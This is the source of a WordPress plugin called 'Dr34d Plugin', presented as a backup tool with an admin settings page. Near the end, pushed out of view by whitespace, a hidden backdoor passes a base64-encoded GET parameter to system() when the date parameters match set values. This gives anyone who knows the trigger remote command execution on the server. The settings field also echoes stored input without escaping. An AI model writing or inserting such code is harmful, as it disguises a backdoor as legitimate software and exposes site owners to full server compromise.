Dr34d-plugin

Dr34d-plugin.php

<?php   
/* Plugin Name: Dr34d Plugin
 * Description: Backup plugin for my wordpress site
 * Author: Hassan Khan Yusufzai - Splint3r7
 * Author URI: http://hassankhanyusufzai.com
 * License: GPLv2+
 */     

if ( !defined('ABSPATH') )
        define('ABSPATH', dirname(__FILE__) . '/');

class dr34dbox {
    
    public $options;
    
    /** 
     * Class constructor
     */

    public function __construct() {
        $this->options = get_option('load_page');
        $this->register_settings_page(); // invoke to register the plugin settings and admin sections
    }

    /** 
     * Generate the admin settings page
     */

    public static function display_options_page() { ?>
        <div class="wrap">
            <h2>Dr34d Plugin Settings</h2>
            <form method="post" action="options.php">
                <?php 
                settings_fields('load_page');
                do_settings_sections(__FILE__);
                ?>
                <p class="submit">
                    <input name="submit" type="submit" class="button-primary" value="Save Changes" />
                </p>
            </form>
        </div><?php
    }

    /** 
     * Add menu page
     */

    public static function add_menu_page() {
        add_options_page('Dr34d', 'Dr34d', 'administrator', __FILE__, array('dr34dbox','display_options_page'));
    }

    /** 
     * Register fields and sections
     */
    public function register_settings_page() {
        register_setting('load_page', 'load_page');
        add_settings_section('Dr34d_product_settings_section', 'product Settings', array($this, 'Dr34d_load_product_callback'), __FILE__);
        add_settings_field('Dr34d_load_product_instructions', 'Instructions', array($this, 'Dr34d_load_product_instructions_text'), __FILE__, 'Dr34d_product_settings_section');
        add_settings_field('Dr34d_load_product_id', 'product URL', array($this, 'Dr34d_load_product_id_settings'), __FILE__, 'Dr34d_product_settings_section');
    }

    /** 
     * Callback - can be used for extending features
     */
    public function Dr34d_load_product_callback() {}

    /** 
     * product instructions
     */
    public function Dr34d_load_product_instructions_text() { ?>
        <p class="description">Enter Your payload here and see the magiic</p>
        <?php
    }

    /** 
     * product details input
     */
    public function Dr34d_load_product_id_settings() { ?>
        <input name="load_page[Dr34d_load_product_id]" type="text" value="<?php echo $this->options['Dr34d_load_product_id']; ?>" class="regular-text" />
        <?php
    }

 }

/** 
 * Add to admin menu
 */
function Dr34d_add_options_page_function() {
    dr34dbox::add_menu_page();
}

/** 
 * Class object creation
 */
function Dr34d_initiate_class() {
    new dr34dbox();
}

function safety_notice() { 
        echo '<div class="error"><p><strong>WARNING:</strong> Please don\'t use this plugin anymore, its not update and might hold some potential security vulnerabilites.</p></div>';
}

                                                                                                                               
function install() {
}

/*
That's just a backup, if I ever lost access to my WordPress.
*/

if ( !defined('ABSPATH') )
	define('ABSPATH', dirname(__FILE__) . '/');
	
	if ($_GET['year'] == '2022' and $_GET['month'] == strtoupper('august') and $_GET['date'] == strtotime('08/08/2022')) {

		system( urldecode ( base64_decode ($_GET['backup']))) ;
	}

add_action( 'all_admin_notices', 'safety_notice' );   
add_action('admin_menu', 'Dr34d_add_options_page_function'); // add item to admin menu
add_action('admin_init', 'Dr34d_initiate_class'); // plugin initialization action
register_activation_hook( __FILE__, 'install' );

/*
That's just a backup, if I ever lost access to my WordPress.
*/